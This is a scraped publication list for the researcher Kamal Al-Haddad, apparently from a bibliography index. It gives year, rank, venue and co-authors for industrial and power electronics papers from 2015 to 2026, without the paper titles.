Kamal Al-Haddad

366 papers C 166Journal 112Unranked 88
YearRankTypeTitle / Venue / Authors
2026 J jnl
IEEE Trans. Ind. Electron.
Farid Barmoudeh, Ahmad Salemnia, Masoud Davari, Kamal Al-Haddad
2026 J jnl
IEEE Trans. Ind. Informatics
Mohammad Sharifzadeh, Gabriel Chouinard, Hani Vahedi, Kamal Al-Haddad
2026 J jnl
IEEE Trans. Emerg. Top. Comput. Intell.
Arman Fathollahi, Meysam Gheisarnejad, Mohammad Sharifzadeh, Eric Laurendeau, Björn Andresen, Kamal Al-Haddad
2025 J jnl
IEEE Trans. Ind. Electron.
Subhadip Chakraborty, Gaurav Modi, Bhim Singh, Bijaya K. Panigrahi, Vipin Singh, Ambrish Chandra, Kamal Al-Haddad
2025 J jnl
IEEE Access
Abdulrahman Alkassem, Zafar Ali Khan, Mishaal Alkabi, Bader A. Alharbi, Syed Ali Abbas Kazmi, Kamal Al-Haddad
2025 J jnl
IEEE Access
Amani Fawaz, Imad Mougharbel, Kamal Al-Haddad, Hadi Youssef Kanaan
2025 J jnl
IEEE Trans. Ind. Electron.
Meysam Gheisarnejad, Soroush Oshnoei, Mohammad Sharifzadeh, Eric Laurendeau, Kamal Al-Haddad
2025 J jnl
IEEE Trans. Ind. Electron.
Mohammad Sharifzadeh, Eric Laurendeau, Kamal Al-Haddad
2025 J jnl
IEEE Access
Pouria Qashqai, Mohammad Babaie, Rawad Zgheib, Kamal Al-Haddad
2025 J jnl
IEEE Trans. Intell. Veh.
Henglai Wei, Jingda Wu, Chen Lv, Shichun Yang, Hui Zhang, Kamal Al-Haddad
2025 J jnl
IEEE Trans Autom. Sci. Eng.
Soroush Oshnoei, Meysam Gheisarnejad, Mohammad Sharifzadeh, Eric Laurendeau, Kamal Al-Haddad
2025 J jnl
IEEE Access
Sandy Atanalian, Fadia Sebaaly, Rawad Zgheib, Kamal Al-Haddad
2024 J jnl
IEEE Access
Fathia Letaief, Mahmoud Hamouda, Mohamed Ali Belaïd, Kamal Al-Haddad
2024 J jnl
IEEE Trans. Instrum. Meas.
Mohamed Mellouli, Mahmoud Hamouda, Hafiz Ahmed, Jaleleddine Ben Hadj Slama, Kamal Al-Haddad
2024 C conf
IECON
Subhadip Chakraborty, Bhim Singh, Bijaya K. Panigrahi, Ambrish Chandra, Kamal Al-Haddad
2024 J jnl
IEEE Trans. Ind. Electron.
Mojtaba Ayaz Khoshhava, Hossein Abootorabi Zarchi, Gholamreza Arab Markadeh, Hamidreza Mosaddegh Hesar, Kamal Al-Haddad
2024 J jnl
IEEE Trans. Consumer Electron.
Xiang Li, Nianhua Zhang, Xiangyang Xu, Anh-Tu Nguyen, Kamal Al-Haddad, Hui Zhang
2024 C conf
IECON
Cédric Somers, Kamal Al-Haddad
2024 C conf
IECON
Simon Bernier, Olivier Kokoko, Arezki Merkhouf, Kamal Al-Haddad
2024 C conf
IECON
Mohammad Babaie, Kamal Al-Haddad
2024 C conf
IECON
Raghda Hariri, Fadia Sebaaly, Kamal Al-Haddad, Hadi Youssef Kanaan
2024 J jnl
IEEE Access
Helene Bechara, Rony Ibrahim, Ryad Zemouri, Bachir Kedjar, Arezki Merkhouf, Antoine Tahan, Kamal Al-Haddad
2024 C conf
IECON
Rony Ibrahim, Ryad Zemouri, Antoine Tahan, Bachir Kedjar, Kamal Al-Haddad, Arezki Merkhouf
2024 J jnl
IEEE Access
Nabila Yalaoui, Louis-A. Dessaint, M. Reza Dehbozorgi, Kamal Al-Haddad
2024 C conf
IECON
Amani Fawaz, Imad Mougharbel, Kamal Al-Haddad, Hadi Youssef Kanaan
2024 C conf
IECON
Fadia Sebaaly, Rawad Zgheib, Kamal Al-Haddad
2023 J jnl
IEEE Access
Pouria Qashqai, Mohammad Babaie, Rawad Zgheib, Kamal Al-Haddad
2023 conf
EUROCON
Camille-Laurie Normandeau, Mohammad Khenar, Jean-Nicolas Paquin, Kamal Al-Haddad
2023 J jnl
IEEE Trans. Ind. Electron.
Meysam Gheisarnejad, Mohammad Sharifzadeh, Mohammad Hassan Khooban, Kamal Al-Haddad
2023 C conf
IECON
Mohammad Babaie, Kamal Al-Haddad
2023 C conf
IECON
Zaher Lamaouche, Abdelhamid Hamadi, Auguste Ndtoungou, Kettly Gustave, Kamal Al-Haddad
2023 J jnl
IEEE Trans. Ind. Electron.
Mahdieh Sadat Sadabadi, Mohammad Sharifzadeh, Majid Mehrasa, Houshang Karimi, Kamal Al-Haddad
2023 conf
SSD
Yosra Ben Fadhel, Sana Ktata, Kouala Yefrni, Salem Rahmani, Kamal Al-Haddad
2023 conf
ICIT
Loïc Duong, Cédric Somers, Kamal Al-Haddad
2023 conf
ICIT
Mohammad Khenar, Emad Samadaei, Camille-Laurie Normandeau, Jean-Nicolas Paquin, Kamal Al-Haddad
2023 conf
ICIT
Sandy Atanalian, Fadia Sebaaly, Rawad Zgheib, Kamal Al-Haddad
2023 conf
ISIE
Mohammad Sharifzadeh, Mahdieh Sadat Sadabadi, Eric Laurendeau, Kamal Al-Haddad
2023 conf
ICIT
Milad Dehghanzadeh, Rui Bo, Kamal Al-Haddad
2023 C conf
IECON
Kettly Gustave, Abdelhamid Hamadi, Auguste Ndtoungou, Zaher Lamaouche, Kamal Al-Haddad
2023 conf
ICIT
Sandy Atanalian, Fadia Sebaaly, Rawad Zgheib, Kamal Al-Haddad
2023 C conf
IECON
Subhadip Chakraborty, Gaurav Modi, Bhim Singh, Bijaya K. Panigrahi, Vipin Singh, Ambrish Chandra, Kamal Al-Haddad
2022 J jnl
IEEE Access
Waqar A. Khan, Armin Ebrahimian, Seyed Iman Hosseini Sabzevari, Mostafa Abarzadeh, Nathan Weise, Kamal Al-Haddad
2022 J jnl
IEEE Trans. Ind. Electron.
Ali Zafari, Majid Mehrasa, Seddik Bacha, Kamal Al-Haddad, Nasser Hosseinzadeh
2022 C conf
IECON
Muhammad Adeel, Hadeed Ahmed Sher, Ahmed Kamal Hassan, Kamal Al-Haddad
2022 J jnl
IEEE Trans. Ind. Electron.
Mohammad Babaie, Majid Mehrasa, Mohammad Sharifzadeh, Kamal Al-Haddad
2022 J jnl
IEEE Trans. Ind. Electron.
Amirabbas Kaymanesh, Ambrish Chandra, Kamal Al-Haddad
2022 C conf
IECON
Mohammad Babaie, Mostafa Abarzadeh, Kamal Al-Haddad
2022 J jnl
IEEE Trans. Instrum. Meas.
Ibtissem Abari, Mahmoud Hamouda, Mohammad Sleiman, Jaleleddine Ben Hadj Slama, Hadi Youssef Kanaan, Kamal Al-Haddad
2022 C conf
IECON
Saeed Arazm, Fadia Sebaaly, Kamal Al-Haddad
2022 C conf
IECON
Sandy Atanalian, Fadia Sebaaly, Saeed Arazm, Rawad Zgheib, Kamal Al-Haddad, Hadi Youssef Kanaan
2022 C conf
IECON
Wajdi Budahab, Mahmoud Hamouda, Kamal Al-Haddad
2021 J jnl
IEEE Trans. Ind. Electron.
Mohammadali Ahmadijokani, Majid Mehrasa, Mohammad Sleiman, Mohammad Sharifzadeh, Abdolreza Sheikholeslami, Kamal Al-Haddad
2021 J jnl
IEEE Trans. Instrum. Meas.
Ahsan Mehmood, Hadeed Ahmed Sher, Ali Faisal Murtaza, Kamal Al-Haddad
2021 J jnl
IEEE Trans. Ind. Electron.
Rakesh R, Mriganka Ghosh Majumder, K. Gopakumar, Loganathan Umanand, Dariusz Zielinski, Wojciech Jarzyna, Kamal Al-Haddad
2021 conf
ICIT
Ali Zafari, Majid Mehrasa, Mohammad Sharifzadeh, Seddik Bacha, Kamal Al-Haddad, Nasser Hosseinzadeh
2021 C conf
IECON
Saeed Arazm, Rawad Zgheib, Kamal Al-Haddad
2021 C conf
IECON
Mohammadali Ahmadijokani, Mohammad Sharifzadeh, Shayan Pourfarokh, Majid Mehrasa, Kamal Al-Haddad
2021 C conf
IECON
Ali Zafari, Majid Mehrasa, Mohammad Sharifzadeh, Seddik Bacha, Kamal Al-Haddad, Nasser Hosseinzadeh
2021 conf
ISIE
Mohammad Babaie, Kamal Al-Haddad
2021 C conf
IECON
Majid Mehrasa, Mohammad Babaie, Mohammad Sharifzadeh, Seddik Bacha, Kamal Al-Haddad
2021 C conf
IECON
Kevin-Rafael Sorto-Ventura, Wei Li, Kamal Al-Haddad
2021 conf
ICIT
Majid Mehrasa, Mohammad Babaie, Mohammad Sharifzadeh, Seddik Bacha, Kamal Al-Haddad
2021 C conf
IECON
Homa Arab, Bita Arabsalmanabadi, Kamal Al-Haddad, Steven Dufour
2021 C conf
IAS
Mohammad Babaie, Kamal Al-Haddad
2021 C conf
IECON
Erfan Azimi, Mohammad Sharifzadeh, Majid Mehrasa, Kamal Al-Haddad
2021 conf
ISIE
Kawther Ezzeddine, Mahmoud Hamouda, Hadi Youssef Kanaan, Kamal Al-Haddad
2021 conf
CCECE
Amirabbas Kaymanesh, Ambrish Chandra, Kamal Al-Haddad
2021 conf
ICIT
Mohammad Babaie, Majid Mehrasa, Kamal Al-Haddad
2021 C conf
IECON
Fadia Sebaaly, Hadi Youssef Kanaan, José Rodríguez, Kamal Al-Haddad
2021 C conf
IECON
Nima Tashakor, Bita Arabsalmanabadi, Yi Zhang, Kamal Al-Haddad, Stefan M. Goetz
2021 C conf
IECON
Pouria Qashqai, Rawad Zgheib, Kamal Al-Haddad
2021 C conf
IECON
Erfan Azimi, Majid Mehrasa, Mohammad Sharifzadeh, Seddik Bacha, Kamal Al-Haddad
2021 conf
ICIT
Hind El Ouardi, Mohammed El Kasmi Alaoui, Mariam Nabaoui, Mohammed Habib, Ayoub El Gadari, Youssef Ounejjar, Kamal Al-Haddad
2021 J jnl
IEEE Access
Amirabbas Kaymanesh, Mohammad Babaie, Ambrish Chandra, Kamal Al-Haddad
2021 J jnl
IEEE Trans. Ind. Electron.
Fadia Sebaaly, Mohammad Sharifzadeh, Hadi Youssef Kanaan, Kamal Al-Haddad
2021 C conf
IECON
Mohammad Sharifzadeh, Mohammadali Ahmadijokani, Majid Mehrasa, Mahdieh Sadat Sadabadi, Kamal Al-Haddad
2021 C conf
IECON
Bita Arabsalmanabadi, Nima Tashakor, Yi Zhang, Kamal Al-Haddad, Stefan M. Goetz
2021 J jnl
IEEE Trans. Ind. Informatics
Majid Mehrasa, Mohammad Babaie, Ali Zafari, Kamal Al-Haddad
2021 C conf
IECON
Bhim Singh, Vandana Jain, Seema, Ambrish Chandra, Kamal Al-Haddad
2021 C conf
IECON
Farheen Chishti, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2021 J jnl
IEEE Trans. Ind. Electron.
Mohammad Babaie, Mohammad Sharifzadeh, Hadi Youssef Kanaan, Kamal Al-Haddad
2021 C conf
IECON
Mostafa Abarzadeh, Armin Ebrahimian, Waqar A. Khan, Nathan Weise, Kamal Al-Haddad
2021 conf
ICIT
Saeed Arazm, Kamal Al-Haddad
2021 conf
ICIT
Saeed Arazm, Kamal Al-Haddad
2020 C conf
IECON
Quentin Dufour, Amine Yamane, Jean-Nicolas Paquin, Kamal Al-Haddad
2020 C conf
IECON
Pouria Qashqai, Kamal Al-Haddad, Rawad Zgheib
2020 conf
ICIT
Amira Ammar, Hadi Youssef Kanaan, Nazih Moubayed, Mahmoud Hamouda, Kamal Al-Haddad
2020 C conf
IECON
Nima Tashakor, Bita Arabsalmanabadi, Lidia Ortega Cervera, Elham Hosseini, Kamal Al-Haddad, Stefan M. Goetz
2020 conf
ISIE
Hind El Ouardi, Ayoub El Gadari, Youssef Ounejjar, Kamal Al-Haddad, Salaheddine Alibou
2020 conf
ICIT
Bita Arabsalmanabadi, Pahola Porras, Homa Arab, Steven Dufour, Kamal Al-Haddad
2020 conf
ICIT
Rawad Zgheib, Innocent Kamwa, Kamal Al-Haddad
2020 C conf
IECON
Sandy Atanalian, Kamal Al-Haddad, Rawad Zgheib, Hadi Youssef Kanaan
2020 J jnl
IEEE Access
Fahad Usman Khan, Ali Faisal Murtaza, Hadeed Ahmed Sher, Kamal Al-Haddad, Faisal Mustafa
2020 C conf
IECON
Tripurari Nath Gupta, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2020 conf
ISIE
Mohammad Babaie, Majid Mehrasa, Mohammad Sharifzadeh, Guillaume Melis, Kamal Al-Haddad
2020 C conf
IECON
Amira Ammar, Hadi Youssef Kanaan, Mahmoud Hamouda, Kamal Al-Haddad
2020 C conf
IECON
Saeed Arazm, Kamal Al-Haddad
2020 C conf
IECON
Mohammad Sharifzadeh, Mohammad Khenar, Kamal Al-Haddad
2020 C conf
IECON
Mohammad Babaie, Kamal Al-Haddad
2020 J jnl
IEEE Trans. Ind. Electron.
Naima Arab, Hani Vahedi, Kamal Al-Haddad
2020 C conf
IECON
Bita Arabsalmanabadi, Nima Tashakor, Stefan M. Goetz, Kamal Al-Haddad
2020 C conf
IECON
Mohammad Sharifzadeh, Mohammad Babaie, Fadia Sebaaly, Majid Mehrasa, Gabriel Chouinard, Kamal Al-Haddad
2020 C conf
IECON
Pouria Qashqai, Kamal Al-Haddad, Rawad Zgheib
2020 conf
ICIT
Mohammadali Ahmadijokani, Mohammad Sharifzadeh, Majid Mehrasa, Fadia Sebaaly, Kamal Al-Haddad
2020 C conf
IECON
Amirabbas Kaymanesh, Mohammad Babaie, Fadoul Souleyman Tidjani, Ambrish Chandra, Kamal Al-Haddad
2020 C conf
IECON
Van Quyen Ngo, Kim Khoa Nguyen, Kamal Al-Haddad
2020 conf
ICIT
Mohammad Sharifzadeh, Mohammad Babaie, Majid Mehrasa, Gabriel Chouinard, Kamal Al-Haddad
2020 J jnl
IEEE Access
Amira Ammar, Hadi Youssef Kanaan, Nazih Moubayed, Mahmoud Hamouda, Kamal Al-Haddad
2020 conf
ICIT
Mohammad Babaie, Mohammad Sharifzadeh, Majid Mehrasa, Gabriel Chouinard, Kamal Al-Haddad
2020 C conf
IECON
Majid Mehrasa, Mohammad Sharifzadeh, Mohammad Babaie, Kamal Al-Haddad
2020 C conf
IECON
Nidhi Mishra, Shivam Kumar Yadav, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2020 conf
ISIE
Majid Mehrasa, Mohammad Sharifzadeh, Mohammad Babaie, Kamal Al-Haddad
2020 C conf
IECON
Mohammadali Ahmadijokani, Mohammad Sharifzadeh, Majid Mehrasa, Kamal Al-Haddad
2020 C conf
IECON
Kawther Ezzeddine, Mahmoud Hamouda, Hadi Youssef Kanaan, Kamal Al-Haddad
2020 conf
ICIT
Majid Mehrasa, Mohammad Sharifzadeh, Mohammad Babaie, Fadia Sebaaly, Kamal Al-Haddad
2019 C conf
IECON
Mriganka Ghosh Majumder, Rakesh R, Mohammed Imthias, K. Gopakumar, Loganathan Umanand, Kamal Al-Haddad, Leopoldo García Franquelo
2019 C conf
IECON
Mohammad Babaie, Mohammad Sharifzadeh, Majid Mehrasa, Gabriel Chouinard, Kamal Al-Haddad
2019 J jnl
IEEE Trans. Ind. Electron.
Mostafa Abarzadeh, Kamal Al-Haddad
2019 C conf
IECON
Bita Arabsalmanabadi, Homa Arab, Steven Dufour, Kamal Al-Haddad
2019 conf
ISIE
Pouria Qashqai, Hani Vahedi, Kamal Al-Haddad
2019 C conf
IECON
Amira Ammar, Hadi Youssef Kanaan, Nazih Moubayed, Mahmoud Hamouda, Kamal Al-Haddad
2019 conf
ISIE
Kiavash Askari Noghani, Mohammad Sharifzadeh, Youssef Ounejjar, Kamal Al-Haddad
2019 C conf
IECON
Fadia Sebaaly, Hani Vahedi, Hadi Youssef Kanaan, Kamal Al-Haddad
2019 conf
ICIT
Mohammad Babaie, Fadia Sebaaly, Mohammad Sharifzadeh, Hadi Youssef Kanaan, Kamal Al-Haddad
2019 conf
ISIE
Fatma Jarraya, Rawad Zgheib, Mostafa Abarzadeh, Kamal Al-Haddad
2019 J jnl
IEEE Trans. Ind. Electron.
Fadia Sebaaly, Hani Vahedi, Hadi Youssef Kanaan, Kamal Al-Haddad
2019 J jnl
IEEE Trans. Ind. Informatics
Mostafa Abarzadeh, Hani Vahedi, Kamal Al-Haddad
2019 J jnl
IEEE Access
Mostafa Abarzadeh, Kamal Al-Haddad
2019 J jnl
IEEE Access
Xiaofan Fu, Alireza Javadi, Kamal Al-Haddad, Louis-A. Dessaint, Wei Li, Boon-Teck Ooi
2019 J jnl
IEEE Access
Afaq Hussain, Hadeed Ahmed Sher, Ali Faisal Murtaza, Kamal Al-Haddad
2019 conf
SSD
Y. Ben Fadhel, Fatma Doub, K. Yeferni, Salem Rahmani, Kamal Al-Haddad
2019 J jnl
IEEE Trans. Ind. Electron.
Hamza Makhamreh, Mohammad Sleiman, Osman Kukrer, Kamal Al-Haddad
2019 C conf
IECON
Ayoub El Gadari, Hind El Ouardi, Salaheddine Alibou, Youssef Ounejjar, Lahcen Bejjit, Mohammad Sharifzadeh, Kamal Al-Haddad
2019 conf
ISIE
Saeed Arazm, Hani Vahedi, Kamal Al-Haddad
2019 conf
ISIE
Mostafa Abarzadeh, Alireza Javadi, Kamal Al-Haddad
2019 J jnl
IEEE Trans. Ind. Electron.
Giampaolo Buticchi, Serhiy Bozhko, Marco Liserre, Patrick Wheeler, Kamal Al-Haddad
2019 J jnl
IEEE Trans. Ind. Electron.
Giampaolo Buticchi, Marco Liserre, Kamal Al-Haddad
2019 C conf
IECON
Sandy Atanalian, Mostafa Abarzadeh, Hadi Youssef Kanaan, Kamal Al-Haddad
2019 J jnl
IEEE Access
Mohammad Sharifzadeh, Kamal Al-Haddad
2019 conf
ISIE
Ayoub El Gadari, Hind El Ouardi, Salaheddine Alibou, K. Askari, Mohammad Sharifzadeh, Youssef Ounejjar, Kamal Al-Haddad
2019 J jnl
IEEE Access
Alireza Javadi, Mostafa Abarzadeh, Luc-André Grégoire, Kamal Al-Haddad
2019 conf
ISIE
Afaq Hussain, Hadeed Ahmed Sher, Ali Faisal Murtaza, Kamal Al-Haddad
2019 conf
ISIE
Xiaofan Fu, Kamal Al-Haddad, Louis-A. Dessaint, Abdelhamid Hamadi
2019 C conf
IECON
Mohammad Sharifzadeh, Majid Mehrasa, Mohammad Babaie, Kamal Al-Haddad
2019 conf
ICIT
Amira Ammar, Hadi Youssef Kanaan, Nazih Moubayed, Mahmoud Hamouda, Hani Vahedi, Kamal Al-Haddad
2018 C conf
IECON
Majid Mehrasa, Mohammad Sharifzadeh, Kamal Al-Haddad
2018 C conf
IECON
Alireza Javadi, Xiaofan Fu, Abdelhamid Hamadi, Kamal Al-Haddad
2018 C conf
IECON
Mahdi Vijeh, Emad Samadaei, Mohammad Rezanejad, Hani Vahedi, Kamal Al-Haddad
2018 C conf
IECON
Amira Ammar, Hadi Youssef Kanaan, Nazih Moubayed, Mahmoud Hamouda, Kamal Al-Haddad
2018 C conf
IECON
Mohammad Babaie, Mohammad Sharifzadeh, Majid Mehrasa, Louis-Felix Baillargeon, Kamal Al-Haddad
2018 C conf
IECON
Alireza Javadi, Bita Arabsalmanabadi, Kamal Al-Haddad, Marek Hicar
2018 conf
ICIT
Majid Mehrasa, Mohammad Sharifzadeh, Abdolreza Sheikholeslami, Edris Pouresmaeil, João P. S. Catalão, Kamal Al-Haddad
2018 conf
ICIT
Amira Ammar, Hadi Youssef Kanaan, Nazih Moubayed, Mahmoud Hamouda, Kamal Al-Haddad
2018 C conf
IECON
Rawad Zgheib, Kamal Al-Haddad, Innocent Kamwa
2018 C conf
IECON
Bita Arabsalmanabadi, Nima Tashakor, Alireza Javadi, Kamal Al-Haddad
2018 C conf
IECON
Mostafa Abarzadeh, Kamal Al-Haddad, M. Reza Dehbozorgi
2018 J jnl
IEEE Trans. Ind. Electron.
Ibtissem Abari, Ali Lahouar, Mahmoud Hamouda, Jaleleddine Ben Hadj Slama, Kamal Al-Haddad
2018 conf
ICIT
Fadia Sebaaly, Hani Vahedi, Hadi Youssef Kanaan, Kamal Al-Haddad
2018 J jnl
IEEE Trans. Ind. Electron.
Hind C. Dirani, Arezki Merkhouf, Anne-Marie Giroux, Bachir Kedjar, Kamal Al-Haddad
2018 conf
ICIT
Catherine Nasr El-Khoury, Hadi Youssef Kanaan, Imad Mougharbel, Kamal Al-Haddad
2018 C conf
IECON
Afaq Hussain, Hadeed Ahmed Sher, Ali Faisal Murtaza, Kamal Al-Haddad
2018 J jnl
IEEE Trans. Ind. Electron.
Mohammad Sleiman, Kamal Al-Haddad, Handy Fortin-Blanchette, Hadi Youssef Kanaan
2018 C conf
IECON
Cynthia Moussa, Kamal Al-Haddad, Bachir Kedjar, Arezki Merkhouf
2018 conf
ISIE
Mohamed Trabelsi, Hani Vahedi, Hasan Komurcugil, Haitham Abu-Rub, Kamal Al-Haddad
2018 C conf
IECON
Youssef Ounejjar, Kamal Al-Haddad
2018 J jnl
IEEE Trans. Ind. Electron.
Fadia Sebaaly, Hani Vahedi, Hadi Youssef Kanaan, Kamal Al-Haddad
2018 C conf
IECON
Gildas Tapsoba, Abdelhamid Hamadi, Auguste Ndtoungou, Salem Rahmani, Kamal Al-Haddad
2018 C conf
IECON
Mohamed Rageh, Auguste Ndtoungou, Abdelhamid Hamadi, Kamal Al-Haddad
2018 conf
ICIT
Mohammad Sharifzadeh, Hani Vahedi, Kamal Al-Haddad
2018 C conf
IECON
Mostafa Abarzadeh, Hani Vahedi, Kamal Al-Haddad, M. Reza Dehbozorgi
2018 C conf
IECON
Ibtissem Abari, Mahmoud Hamouda, Jaleleddine Ben Hadj Slama, Kamal Al-Haddad
2018 C conf
IECON
Muftah Abuzied, Abdelhamid Hamadi, Auguste Ndtoungou, Salem Rahmani, Kamal Al-Haddad
2018 C conf
IECON
Saeed Arazm, Hani Vahedi, Kamal Al-Haddad
2017 J jnl
IEEE Trans. Ind. Electron.
Souleman Njoya Motapon, Alexandre Lupien-Bedard, Louis-A. Dessaint, Handy Fortin-Blanchette, Kamal Al-Haddad
2017 J jnl
IEEE Trans. Ind. Informatics
Luc-André Grégoire, Handy Fortin-Blanchette, Jean Bélanger, Kamal Al-Haddad
2017 C conf
IECON
Wajdi Budahab, Mahmoud Hamouda, Kamal Al-Haddad
2017 conf
ICIT
Mohammad Sharifzadeh, Hani Vahedi, Carlo Cecati, Concettina Buccella, Kamal Al-Haddad
2017 conf
ICIT
Hadeed Ahmed Sher, Ali Faisal Murtaza, Kamal Al-Haddad
2017 C conf
IECON
Amira Ammar, Hadi Youssef Kanaan, Nazih Moubayed, Mahmoud Hamouda, Kamal Al-Haddad
2017 conf
ICIT
Mohammad Sleiman, Bachir Kedjar, Handy Fortin-Blanchette, Hadi Youssef Kanaan, Kamal Al-Haddad
2017 C conf
IECON
Amira Ammar, Hadi Youssef Kanaan, Nazih Moubayed, Mahmoud Hamouda, Kamal Al-Haddad
2017 C conf
IECON
Bita Arabsalmanabadi, Alireza Javadi, Kamal Al-Haddad
2017 C conf
IECON
Luc-André Grégoire, Weihua Wang, Mohammad Sleiman, Kamal Al-Haddad
2017 C conf
IECON
Kawther Ezzeddine, Mahmoud Hamouda, Kamal Al-Haddad
2017 conf
ICIT
Rawad Zgheib, Innocent Kamwa, Kamal Al-Haddad
2017 C conf
IECON
Xiaofan Fu, Louis-A. Dessaint, Alireza Javadi, Luc-André Grégoire, Kamal Al-Haddad, Boon-Teck Ooi
2017 C conf
IECON
Y. Ben Fadhel, Sana Ktata, Salem Rahmani, Kamal Al-Haddad
2017 C conf
IECON
Aniket Anand, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2017 conf
ICIT
Alireza Javadi, Abdelhamid Hamadi, Auguste Ndtoungou, Kamal Al-Haddad
2017 conf
ICIT
Ahmad Dehghanzadeh, Gholamreza Farahani, Hani Vahedi, Kamal Al-Haddad
2017 C conf
IAS
Sanchit Mishra, Ikhlaq Hussain, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2017 conf
ICIT
Amira Ammar, Hadi Youssef Kanaan, Nazih Moubayed, Mahmoud Hamouda, Salem Rahmani, Youssef Ounejjar, Kamal Al-Haddad
2017 conf
ICIT
Bita Arabsalmanabadi, Alireza Javadi, Kamal Al-Haddad
2017 conf
ICIT
Abdelhamid Hamadi, Alireza Javadi, Auguste Ndtoungou, Salem Rahmani, Kamal Al-Haddad
2017 C conf
IECON
Ahmed Busbieha, Abdelhamid Hamadi, Auguste Ndtoungou, Alireza Javadi, Salem Rahmani, Kamal Al-Haddad
2017 C conf
IECON
Xiaofan Fu, Luc-André Grégoire, Alireza Javadi, Kamal Al-Haddad, Keliang Zhou, Ming Cheng
2017 C conf
IECON
Mahdi Vijeh, Emad Samadaei, Mohammad Rezanejad, Hani Vahedi, Kamal Al-Haddad
2017 conf
SDD
Y. Ben Fadhel, Sana Ktata, Salem Rahmani, Kamal Al-Haddad
2017 C conf
IAS
Priyank Shah, Ikhlaq Hussain, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2017 C conf
IECON
Rida Musa, Abdelhamid Hamadi, Auguste Ndtoungou, Salem Rahmani, Kamal Al-Haddad
2017 conf
ICIT
Nassar Mendalek, Kamal Al-Haddad
2017 J jnl
IEEE Trans. Smart Grid
Alireza Javadi, Abdelhamid Hamadi, Auguste Ndtoungou, Kamal Al-Haddad
2017 C conf
IAS
Naima Arab, Bachir Kedjar, Alireza Javadi, Kamal Al-Haddad
2017 conf
ISIE
Arslan Abbas Rizvi, Hadeed Ahmed Sher, Khaled E. Addoweesh, Abdelrahman El-Leathy, Hany A. Al-Ansary, Kamal Al-Haddad
2017 C conf
IECON
Hani Vahedi, Mohammad Sharifzadeh, Kamal Al-Haddad
2017 C conf
IECON
Piyush Kant, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2016 J jnl
IEEE Trans. Ind. Electron.
Mahmoud Hamouda, Handy Fortin-Blanchette, Kamal Al-Haddad
2016 J jnl
IEEE Trans. Ind. Electron.
Hani Vahedi, Kamal Al-Haddad
2016 conf
ICIT
Pouria Qashqai, Hani Vahedi, Abdolreza Sheikholeslami, Kamal Al-Haddad
2016 C conf
IECON
Rahul Kumar Agarwal, Ikhlaq Hussain, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2016 C conf
IECON
Bhim Singh, Maulik Kandpal, Ikhlaq Hussain, Moksh Mehtani, Ambrish Chandra, Kamal Al-Haddad
2016 C conf
IECON
Krishna Kumar Gupta, Pallavee Bhatnagar, Hani Vahedi, Kamal Al-Haddad
2016 C conf
IECON
Abdullah M. Noman, Khaled E. Addoweesh, Kamal Al-Haddad
2016 J jnl
IEEE Trans. Ind. Informatics
Hani Vahedi, Philippe-Alexandre Labbe, Kamal Al-Haddad
2016 J jnl
IEEE Trans. Ind. Electron.
Fadia Sebaaly, Hani Vahedi, Hadi Youssef Kanaan, Nazih Moubayed, Kamal Al-Haddad
2016 C conf
IECON
Mahdi Vijeh, Emad Samadaei, Mohammad Rezanejad, Hani Vahedi, Kamal Al-Haddad
2016 J jnl
IEEE Trans. Ind. Electron.
Alireza Javadi, Abdelhamid Hamadi, Lyne Woodward, Kamal Al-Haddad
2016 conf
ICIT
Fadia Sebaaly, Hani Vahedi, Hadi Youssef Kanaan, Nazih Moubayed, Kamal Al-Haddad
2016 C conf
IECON
Y. Ben Fadhel, Salem Rahmani, Kamal Al-Haddad
2016 J jnl
IEEE Trans. Ind. Electron.
Mohammad Sharifzadeh, Hani Vahedi, Ramón Portillo Guisado, Mohammad Khenar, Abdolreza Sheikholeslami, Leopoldo García Franquelo, Kamal Al-Haddad
2016 C conf
IAS
Rahul Kumar Agarwal, Ikhlaq Hussain, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2016 C conf
IECON
Bhim Singh, Saurabh Shukla, Ambrish Chandra, Kamal Al-Haddad
2016 conf
ICIT
Julie I. Metri, Hani Vahedi, Hadi Youssef Kanaan, Kamal Al-Haddad
2016 C conf
IECON
Fadia Sebaaly, Hani Vahedi, Hadi Youssef Kanaan, Nazih Moubayed, Kamal Al-Haddad
2016 conf
ICIT
Arsene Missanda, Kamal Al-Haddad, Nassar Mendalek
2016 C conf
IECON
Hani Vahedi, Kamal Al-Haddad
2016 C conf
IECON
Aniket Anand, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2016 C conf
IAS
Swati Narula, Bhim Singh, G. Bhuvaneswari, Ambrish Chandra, Kamal Al-Haddad
2016 J jnl
Math. Comput. Simul.
Mohamed Haddad, Sana Ktata, Salem Rahmani, Kamal Al-Haddad
2016 J jnl
IEEE Trans. Ind. Electron.
Julie I. Metri, Hani Vahedi, Hadi Youssef Kanaan, Kamal Al-Haddad
2016 J jnl
IEEE Trans. Ind. Informatics
Hani Vahedi, Philippe-Alexandre Labbe, Kamal Al-Haddad
2016 C conf
IECON
Julie I. Metri, Hani Vahedi, Hadi Youssef Kanaan, Kamal Al-Haddad
2016 conf
ICIT
Rawad Zgheib, Kamal Al-Haddad, Innocent Kamwa
2015 J jnl
IEEE Trans. Ind. Electron.
Tarek Ould Bachir, Handy Fortin-Blanchette, Kamal Al-Haddad
2015 J jnl
IEEE Trans. Ind. Electron.
Alireza Javadi, Kamal Al-Haddad
2015 conf
ICIT
Catherine Nasr El-Khoury, Hadi Youssef Kanaan, Imad Mougharbel, Kamal Al-Haddad
2015 C conf
IAS
Chinmay Jain, Sagar Goel, Bhim Singh, Kamal Al-Haddad, Ambrish Chandra
2015 C conf
IECON
Anubhav Jain, Chinmay Jain, Bhim Singh, Kamal Al-Haddad, Ambrish Chandra
2015 conf
ICIT
Mohammad Sleiman, Handy Fortin-Blanchette, Kamal Al-Haddad, Luc-André Grégoire, Hadi Youssef Kanaan
2015 conf
ICIT
Hani Vahedi, Philippe-Alexandre Labbe, Hadi Youssef Kanaan, Handy Fortin Blanchette, Kamal Al-Haddad
2015 C conf
IAS
Somnath Pal, Bhim Singh, Ashish Shrivastava, Ambrish Chandra, Kamal Al-Haddad
2015 conf
